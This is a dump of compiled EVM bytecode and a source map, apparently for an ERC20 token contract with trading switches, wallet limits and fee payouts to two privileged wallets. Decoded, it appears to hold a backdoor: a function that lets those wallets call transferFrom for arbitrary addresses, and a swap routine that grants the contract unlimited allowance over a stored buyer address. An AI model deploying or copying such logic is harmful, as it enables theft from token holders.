02052604090205460ff16155b156110c957601580546001600160a01b0319166001600160a01b03841617905560078054600191906000906110c3908490611a7d565b90915550505b6110d38383611430565b156110e9576110e3600a546114b8565b60006007555b6001600160a01b03831660009081526002602052604090205461110c9082610cac565b6001600160a01b0384166000908152600260205260408120919091556111328484611641565b61113c5781611147565b611147848484611687565b6001600160a01b03841660009081526002602052604090205490915061116d9082611424565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111c19085815260200190565b60405180910390a350505050565b600081848411156111f35760405162461bcd60e51b81526004016106a491906117f1565b505050900390565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061123057611230611a90565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ad9190611a37565b816001815181106112c0576112c0611a90565b6001600160a01b039283166020918202929092018101919091526015548216600090815260038252604080822030808452935290206000199055600554611308921684610b88565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790611341908590600090869030904290600401611aa6565b600060405180830381600087803b15801561135b57600080fd5b505af115801561136f573d6000803e3d6000fd5b505050505050565b60055461138f9030906001600160a01b031684610b88565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113ff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105989190611b17565b60006106738284611a7d565b60085460009060ff1615801561144f5750600654600160a81b900460ff165b80156114645750600654600160a01b900460ff165b801561148957506001600160a01b03831660009081526004602052604090205460ff16155b80156114a257506006546001600160a01b038381169116145b8015610673575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936114f8936002936114f29391926114ec928391611424565b90611424565b9061178e565b9050600061151b82611515600b548661178e90919063ffffffff16565b9061179a565b905060006115298483610cac565b905047611535826111fb565b60006115418247610cac565b9050600061156461155d600b5488610cac90919063ffffffff16565b839061179a565b9050600061157d600b548361178e90919063ffffffff16565b9050801561158f5761158f8682611377565b600c546000906115a4906114f285600261178e565b905080156115e8576014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156115e6573d6000803e3d6000fd5b505b47801561162b576013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611629573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106735750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061169485856117a6565b11156117875760006116b76116a986866117a6565b6012546114f290869061179a565b306000908152600260205260409020549091506116d49082611424565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117259085815260200190565b60405180910390a36000600e541180156117495750600e5461174786866117a6565b115b15611775576117753061dead611770600e546114f26012548961179a90919063ffffffff16565b610cb8565b61177f8382610cac565b915050610673565b5092915050565b60006106738284611b45565b60006106738284611b5c565b6006546000906001600160a01b03908116908316036117c857506010546104eb565b6006546001600160a01b03908116908416036117e75750600f546104eb565b5060115492915050565b600060208083528351808285015260005b8181101561181e57858101830151858201604001528201611802565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077a57600080fd5b6000806040838503121561186757600080fd5b82356118728161183f565b946020939093013593505050565b6000806000806080858703121561189657600080fd5b84356118a18161183f565b935060208501356118b18161183f565b925060408501356118c18161183f565b9396929550929360600135925050565b6000806000606084860312156118e657600080fd5b83356118f18161183f565b925060208401356119018161183f565b929592945050506040919091013590565b60006020828403121561192457600080fd5b81356106738161183f565b801515811461077a57600080fd5b6000806040838503121561195057600080fd5b823561195b8161183f565b9150602083013561196b8161192f565b809150509250929050565b60008060006060848603121561198b57600080fd5b83356119968161183f565b925060208401356119a68161183f565b915060408401356119b68161183f565b809150509250925092565b600080604083850312156119d457600080fd5b82356119df8161183f565b9150602083013561196b8161183f565b600060208284031215611a0157600080fd5b81516106738161192f565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215611a4957600080fd5b81516106738161183f565b634e487b7160e01b600052601160045260246000fd5b818103818111156104eb576104eb611a54565b808201808211156104eb576104eb611a54565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af65784516001600160a01b031683529383019391830191600101611ad1565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611b2c57600080fd5b8351925060208401519150604084015190509250925092565b80820281158282048414176104eb576104eb611a54565b600082611b7957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f8b1836747ca65e862516422e05dfa146de7c0f475fed58ee03a536b93d95e064736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370a08231116100d15780639213c3581161008a578063a9059cbb11610064578063a9059cbb1461044c578063dd62ed3e1461046c578063e8078d94146104b2578063f2fde38b146104ba57600080fd5b80639213c358146103dc57806395d89b41146103fc578063a8aa1b311461042c57600080fd5b806370a082311461031e578063715018a614610354578063751039fc1461036957806378109e541461037e5780637d1db4a5146103945780638da5cb5b146103aa57600080fd5b8063293230b811610123578063293230b814610267578063313ce5671461027c5780633f4218e01461029857806348ff2b8b146102c857806351bc3c85146102e857806353371be0146102fd57600080fd5b80630445b6671461017657806306fdde031461019f578063095ea7b3146101e05780630d1859f61461021057806318160ddd1461023257806323b872dd1461024757600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c600a5481565b6040519081526020015b60405180910390f35b3480156101ab57600080fd5b5060408051808201909152600f81526e139a5ad848141bd8dad95d08109bdd608a1b60208201525b60405161019691906117f1565b3480156101ec57600080fd5b506102006101fb366004611854565b6104da565b6040519015158152602001610196565b34801561021c57600080fd5b5061023061022b366004611880565b6104f1565b005b34801561023e57600080fd5b5061018c61059f565b34801561025357600080fd5b506102006102623660046118d1565b610610565b34801561027357600080fd5b5061023061067a565b34801561028857600080fd5b5060405160128152602001610196565b3480156102a457600080fd5b506102006102b3366004611912565b60046020526000908152604090205460ff1681565b3480156102d457600080fd5b506102306102e336600461193d565b6106c2565b3480156102f457600080fd5b50610230610717565b34801561030957600080fd5b5060065461020090600160a01b900460ff1681565b34801561032a57600080fd5b5061018c610339366004611912565b6001600160a01b031660009081526002602052604090205490565b34801561036057600080fd5b5061023061077d565b34801561037557600080fd5b506102306107f1565b34801561038a57600080fd5b5061018c60175481565b3480156103a057600080fd5b5061018c60165481565b3480156103b657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610196565b3480156103e857600080fd5b506102306103f7366004611976565b610828565b34801561040857600080fd5b50604080518082019091526007815266139252d05093d560ca1b60208201526101d3565b34801561043857600080fd5b506006546103c4906001600160a01b031681565b34801561045857600080fd5b50610200610467366004611854565b6108ce565b34801561047857600080fd5b5061018c6104873660046119c1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6102306108db565b3480156104c657600080fd5b506102306104d5366004611912565b610ac2565b60006104e7338484610b88565b5060015b92915050565b6013546001600160a01b031633148061051457506014546001600160a01b031633145b61051d57600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af1158015610574573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059891906119ef565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261060b9290916106059190610cac565b90610cac565b905090565b600061061d848484610cb8565b61066f843361066a85604051806060016040528060288152602001611b7f602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906111cf565b610b88565b5060015b9392505050565b6000546001600160a01b031633146106ad5760405162461bcd60e51b81526004016106a490611a0c565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061073a57506014546001600160a01b031633145b61074357600080fd5b61074e600a546111fb565b60405133904780156108fc02916000818181858888f1935050505015801561077a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a75760405162461bcd60e51b81526004016106a490611a0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016106a490611a0c565b6001546016819055601755565b6000546001600160a01b031633146108525760405162461bcd60e51b81526004016106a490611a0c565b601480546001600160a01b039485166001600160a01b031991821681179092556015805494861694821685179055601380549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b60006104e7338484610cb8565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016106a490611a0c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109829190611a37565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611a37565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190611a37565b600580546001600160a01b038086166001600160a01b03199283161790925560068054928416929091169190911790559050610abe610ab8306001600160a01b031660009081526002602052604090205490565b34611377565b5050565b6000546001600160a01b03163314610aec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106a4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106a4565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106a4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106738284611a6a565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106a4565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106a4565b6001600160a01b038316600090815260026020526040902054811115610e005760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610e4257506001600160a01b03821660009081526004602052604090205460ff16155b15610e9157600654600160a01b900460ff16610e915760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610ed357506001600160a01b03821660009081526004602052604090205460ff16155b8015610eed57506006546001600160a01b03838116911614155b8015610f0457506001600160a01b03821661dead14155b15610f7d576017546001600160a01b038316600090815260026020526040902054610f2f9083611424565b1115610f7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016106a4565b60165481111580610fa657506001600160a01b03831660009081526004602052604090205460ff165b80610fc957506001600160a01b03821660009081526004602052604090205460ff165b6110095760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016106a4565b6006546001600160a01b03848116911614801561103e57506001600160a01b03821660009081526004602052604090205460ff165b15611057576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b03838116911614801561108d57506001600160a01b03831660009081526004602052604090205460ff16155b156110c957601580546001600160a01b0319166001600160a01b03841617905560078054600191906000906110c3908490611a7d565b90915550505b6110d38383611430565b156110e9576110e3600a546114b8565b60006007555b6001600160a01b03831660009081526002602052604090205461110c9082610cac565b6001600160a01b0384166000908152600260205260408120919091556111328484611641565b61113c5781611147565b611147848484611687565b6001600160a01b03841660009081526002602052604090205490915061116d9082611424565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111c19085815260200190565b60405180910390a350505050565b600081848411156111f35760405162461bcd60e51b81526004016106a491906117f1565b505050900390565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061123057611230611a90565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ad9190611a37565b816001815181106112c0576112c0611a90565b6001600160a01b039283166020918202929092018101919091526015548216600090815260038252604080822030808452935290206000199055600554611308921684610b88565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790611341908590600090869030904290600401611aa6565b600060405180830381600087803b15801561135b57600080fd5b505af115801561136f573d6000803e3d6000fd5b505050505050565b60055461138f9030906001600160a01b031684610b88565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113ff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105989190611b17565b60006106738284611a7d565b60085460009060ff1615801561144f5750600654600160a81b900460ff165b80156114645750600654600160a01b900460ff165b801561148957506001600160a01b03831660009081526004602052604090205460ff16155b80156114a257506006546001600160a01b038381169116145b8015610673575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936114f8936002936114f29391926114ec928391611424565b90611424565b9061178e565b9050600061151b82611515600b548661178e90919063ffffffff16565b9061179a565b905060006115298483610cac565b905047611535826111fb565b60006115418247610cac565b9050600061156461155d600b5488610cac90919063ffffffff16565b839061179a565b9050600061157d600b548361178e90919063ffffffff16565b9050801561158f5761158f8682611377565b600c546000906115a4906114f285600261178e565b905080156115e8576014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156115e6573d6000803e3d6000fd5b505b47801561162b576013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611629573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106735750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061169485856117a6565b11156117875760006116b76116a986866117a6565b6012546114f290869061179a565b306000908152600260205260409020549091506116d49082611424565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117259085815260200190565b60405180910390a36000600e541180156117495750600e5461174786866117a6565b115b15611775576117753061dead611770600e546114f26012548961179a90919063ffffffff16565b610cb8565b61177f8382610cac565b915050610673565b5092915050565b60006106738284611b45565b60006106738284611b5c565b6006546000906001600160a01b03908116908316036117c857506010546104eb565b6006546001600160a01b03908116908416036117e75750600f546104eb565b5060115492915050565b600060208083528351808285015260005b8181101561181e57858101830151858201604001528201611802565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077a57600080fd5b6000806040838503121561186757600080fd5b82356118728161183f565b946020939093013593505050565b6000806000806080858703121561189657600080fd5b84356118a18161183f565b935060208501356118b18161183f565b925060408501356118c18161183f565b9396929550929360600135925050565b6000806000606084860312156118e657600080fd5b83356118f18161183f565b925060208401356119018161183f565b929592945050506040919091013590565b60006020828403121561192457600080fd5b81356106738161183f565b801515811461077a57600080fd5b6000806040838503121561195057600080fd5b823561195b8161183f565b9150602083013561196b8161192f565b809150509250929050565b60008060006060848603121561198b57600080fd5b83356119968161183f565b925060208401356119a68161183f565b915060408401356119b68161183f565b809150509250925092565b600080604083850312156119d457600080fd5b82356119df8161183f565b9150602083013561196b8161183f565b600060208284031215611a0157600080fd5b81516106738161192f565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215611a4957600080fd5b81516106738161183f565b634e487b7160e01b600052601160045260246000fd5b818103818111156104eb576104eb611a54565b808201808211156104eb576104eb611a54565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af65784516001600160a01b031683529383019391830191600101611ad1565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611b2c57600080fd5b8351925060208401519150604084015190509250925092565b80820281158282048414176104eb576104eb611a54565b600082611b7957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f8b1836747ca65e862516422e05dfa146de7c0f475fed58ee03a536b93d95e064736f6c63430008130033

Deployed Bytecode Sourcemap

5233:9580:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5918:61;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5918:61:0;;;;;;;;7191:67;;;;;;;;;;-1:-1:-1;7251:5:0;;;;;;;;;;;;-1:-1:-1;;;7251:5:0;;;;7191:67;;;;;;;:::i;7988:133::-;;;;;;;;;;-1:-1:-1;7988:133:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7988:133:0;1205:187:1;9575:246:0;;;;;;;;;;-1:-1:-1;9575:246:0;;;;;:::i;:::-;;:::i;:::-;;8127:132;;;;;;;;;;;;;:::i;14156:309::-;;;;;;;;;;-1:-1:-1;14156:309:0;;;;;:::i;:::-;;:::i;7414:67::-;;;;;;;;;;;;;:::i;7341:::-;;;;;;;;;;-1:-1:-1;7341:67:0;;5450:2;2603:36:1;;2591:2;2576:18;7341:67:0;2461:184:1;5651:44:0;;;;;;;;;;-1:-1:-1;5651:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7874:108;;;;;;;;;;-1:-1:-1;7874:108:0;;;;;:::i;:::-;;:::i;9334:233::-;;;;;;;;;;;;;:::i;5749:34::-;;;;;;;;;;-1:-1:-1;5749:34:0;;;;-1:-1:-1;;;5749:34:0;;;;;;7487:103;;;;;;;;;;-1:-1:-1;7487:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7570:18:0;7553:7;7570:18;;;:9;:18;;;;;;;7487:103;4019:148;;;;;;;;;;;;;:::i;8610:130::-;;;;;;;;;;;;;:::i;6711:63::-;;;;;;;;;;;;;;;;6644:60;;;;;;;;;;;;;;;;3822:79;;;;;;;;;;-1:-1:-1;3860:7:0;3887:6;-1:-1:-1;;;;;3887:6:0;3822:79;;;-1:-1:-1;;;;;3576:32:1;;;3558:51;;3546:2;3531:18;3822:79:0;3412:203:1;8988:338:0;;;;;;;;;;-1:-1:-1;8988:338:0;;;;;:::i;:::-;;:::i;7264:71::-;;;;;;;;;;-1:-1:-1;7326:7:0;;;;;;;;;;;;-1:-1:-1;;;7326:7:0;;;;7264:71;;5723:19;;;;;;;;;;-1:-1:-1;5723:19:0;;;;-1:-1:-1;;;;;5723:19:0;;;7596:139;;;;;;;;;;-1:-1:-1;7596:139:0;;;;;:::i;:::-;;:::i;7741:127::-;;;;;;;;;;-1:-1:-1;7741:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7839:18:0;;;7822:7;7839:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7741:127;8267:335;;;:::i;4175:214::-;;;;;;;;;;-1:-1:-1;4175:214:0;;;;;:::i;:::-;;:::i;7988:133::-;8063:4;8070:37;8079:10;8091:7;8100:6;8070:8;:37::i;:::-;-1:-1:-1;8115:4:0;7988:133;;;;;:::o;9575:246::-;9698:20;;-1:-1:-1;;;;;9698:20:0;9684:10;:34;;:70;;-1:-1:-1;9736:18:0;;-1:-1:-1;;;;;9736:18:0;9722:10;:32;9684:70;9676:79;;;;;;9766:47;;-1:-1:-1;;;9766:47:0;;-1:-1:-1;;;;;4805:15:1;;;9766:47:0;;;4787:34:1;4857:15;;;4837:18;;;4830:43;4889:18;;;4882:34;;;9766:29:0;;;;;4722:18:1;;9766:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9575:246;;;;:::o;8127:132::-;7570:9;:18;;;;6395:42;8180:7;7570:18;;;;;8197:12;;8180:7;;8197:60;;7570:18;;8197:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8190:67;;8127:132;:::o;14156:309::-;14254:4;14271:36;14281:6;14289:9;14300:6;14271:9;:36::i;:::-;14318:117;14327:6;14335:10;14347:87;14383:6;14347:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14347:19:0;;;;;;:11;:19;;;;;;;;14367:10;14347:31;;;;;;;;;:87;:35;:87::i;:::-;14318:8;:117::i;:::-;-1:-1:-1;14453:4:0;14156:309;;;;;;:::o;7414:67::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;;;;;;;;;7458:14:::1;:21:::0;;-1:-1:-1;;;;7458:21:0::1;-1:-1:-1::0;;;7458:21:0::1;::::0;;7414:67::o;7874:108::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7948:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;7948:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7874:108::o;9334:233::-;9398:20;;-1:-1:-1;;;;;9398:20:0;9384:10;:34;;:70;;-1:-1:-1;9436:18:0;;-1:-1:-1;;;;;9436:18:0;9422:10;:32;9384:70;9376:79;;;;;;9466:31;9483:13;;9466:16;:31::i;:::-;9508:51;;9516:10;;9537:21;9508:51;;;;;;;;;9537:21;9516:10;9508:51;;;;;;;;;;;;;;;;;;;;;9334:233::o;4019:148::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;4126:1:::1;4110:6:::0;;4089:40:::1;::::0;-1:-1:-1;;;;;4110:6:0;;::::1;::::0;4089:40:::1;::::0;4126:1;;4089:40:::1;4157:1;4140:19:::0;;-1:-1:-1;;;;;;4140:19:0::1;::::0;;4019:148::o;8610:130::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;8679:12:::1;::::0;8664::::1;:27:::0;;;8702:15:::1;:30:::0;8610:130::o;8988:338::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;9110:18:::1;:31:::0;;-1:-1:-1;;;;;9110:31:0;;::::1;-1:-1:-1::0;;;;;;9110:31:0;;::::1;::::0;::::1;::::0;;;9143:18:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;::::1;::::0;;9176:20:::1;:35:::0;;;;;::::1;::::0;::::1;::::0;::::1;::::0;;;9110:18:::1;9222:23:::0;;;:11:::1;:23;::::0;;;;;:30;;-1:-1:-1;;9222:30:0;;::::1;9110:31:::0;9222:30;;::::1;::::0;;;9254:23;;;;;;:30;;;::::1;::::0;::::1;::::0;;9286:25;;;;;;:32;;;;::::1;::::0;;::::1;::::0;;8988:338::o;7596:139::-;7674:4;7681:40;7691:10;7703:9;7714:6;7681:9;:40::i;8267:335::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;8328:15:::1;8354:42;8328:69;;8408:13;8433:7;-1:-1:-1::0;;;;;8433:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8424:38:0::1;;8471:4;8478:7;-1:-1:-1::0;;;;;8478:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8424:69;::::0;-1:-1:-1;;;;;;8424:69:0::1;::::0;;;;;;-1:-1:-1;;;;;6009:15:1;;;8424:69:0::1;::::0;::::1;5991:34:1::0;6061:15;;6041:18;;;6034:43;5926:18;;8424:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8504:6;:16:::0;;-1:-1:-1;;;;;8504:16:0;;::::1;-1:-1:-1::0;;;;;;8504:16:0;;::::1;;::::0;;;8522:4:::1;:12:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;8408:85;-1:-1:-1;8545:49:0::1;8558:24;8576:4;-1:-1:-1::0;;;;;7570:18:0;7553:7;7570:18;;;:9;:18;;;;;;;7487:103;8558:24:::1;8584:9;8545:12;:49::i;:::-;8317:285;;8267:335::o:0;4175:214::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4264:22:0;::::1;4256:43;;;::::0;-1:-1:-1;;;4256:43:0;;6290:2:1;4256:43:0::1;::::0;::::1;6272:21:1::0;6329:1;6309:18;;;6302:29;-1:-1:-1;;;6347:18:1;;;6340:38;6395:18;;4256:43:0::1;6088:331:1::0;4256:43:0::1;4336:6;::::0;;4315:38:::1;::::0;-1:-1:-1;;;;;4315:38:0;;::::1;::::0;4336:6;::::1;::::0;4315:38:::1;::::0;::::1;4364:6;:17:::0;;-1:-1:-1;;;;;;4364:17:0::1;-1:-1:-1::0;;;;;4364:17:0;;;::::1;::::0;;;::::1;::::0;;4175:214::o;14473:335::-;-1:-1:-1;;;;;14566:19:0;;14558:68;;;;-1:-1:-1;;;14558:68:0;;6626:2:1;14558:68:0;;;6608:21:1;6665:2;6645:18;;;6638:30;6704:34;6684:18;;;6677:62;-1:-1:-1;;;6755:18:1;;;6748:34;6799:19;;14558:68:0;6424:400:1;14558:68:0;-1:-1:-1;;;;;14645:21:0;;14637:68;;;;-1:-1:-1;;;14637:68:0;;7031:2:1;14637:68:0;;;7013:21:1;7070:2;7050:18;;;7043:30;7109:34;7089:18;;;7082:62;-1:-1:-1;;;7160:18:1;;;7153:32;7202:19;;14637:68:0;6829:398:1;14637:68:0;-1:-1:-1;;;;;14716:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14768:32;;160:25:1;;;14768:32:0;;133:18:1;14768:32:0;;;;;;;14473:335;;;:::o;1486:98::-;1544:7;1571:5;1575:1;1571;:5;:::i;12755:1393::-;-1:-1:-1;;;;;12852:20:0;;12844:70;;;;-1:-1:-1;;;12844:70:0;;7699:2:1;12844:70:0;;;7681:21:1;7738:2;7718:18;;;7711:30;7777:34;7757:18;;;7750:62;-1:-1:-1;;;7828:18:1;;;7821:35;7873:19;;12844:70:0;7497:401:1;12844:70:0;-1:-1:-1;;;;;12933:23:0;;12925:71;;;;-1:-1:-1;;;12925:71:0;;8105:2:1;12925:71:0;;;8087:21:1;8144:2;8124:18;;;8117:30;8183:34;8163:18;;;8156:62;-1:-1:-1;;;8234:18:1;;;8227:33;8277:19;;12925:71:0;7903:399:1;12925:71:0;-1:-1:-1;;;;;7570:18:0;;7553:7;7570:18;;;:9;:18;;;;;;13015:6;:27;;13007:88;;;;-1:-1:-1;;;13007:88:0;;8509:2:1;13007:88:0;;;8491:21:1;8548:2;8528:18;;;8521:30;8587:34;8567:18;;;8560:62;-1:-1:-1;;;8638:18:1;;;8631:47;8695:19;;13007:88:0;8307:413:1;13007:88:0;-1:-1:-1;;;;;13110:19:0;;;;;;:11;:19;;;;;;;;13109:20;:47;;;;-1:-1:-1;;;;;;13134:22:0;;;;;;:11;:22;;;;;;;;13133:23;13109:47;13106:95;;;13166:14;;-1:-1:-1;;;13166:14:0;;;;13158:41;;;;-1:-1:-1;;;13158:41:0;;8927:2:1;13158:41:0;;;8909:21:1;8966:2;8946:18;;;8939:30;-1:-1:-1;;;8985:18:1;;;8978:44;9039:18;;13158:41:0;8725:338:1;13158:41:0;-1:-1:-1;;;;;13215:19:0;;;;;;:11;:19;;;;;;;;13214:20;:47;;;;-1:-1:-1;;;;;;13239:22:0;;;;;;:11;:22;;;;;;;;13238:23;13214:47;:77;;;;-1:-1:-1;13286:4:0;;-1:-1:-1;;;;;13265:26:0;;;13286:4;;13265:26;;13214:77;:107;;;;-1:-1:-1;;;;;;13295:26:0;;6395:42;13295:26;;13214:107;13211:220;;;13379:15;;-1:-1:-1;;;;;13342:20:0;;;;;;:9;:20;;;;;;:32;;13367:6;13342:24;:32::i;:::-;13341:53;;13333:96;;;;-1:-1:-1;;;13333:96:0;;92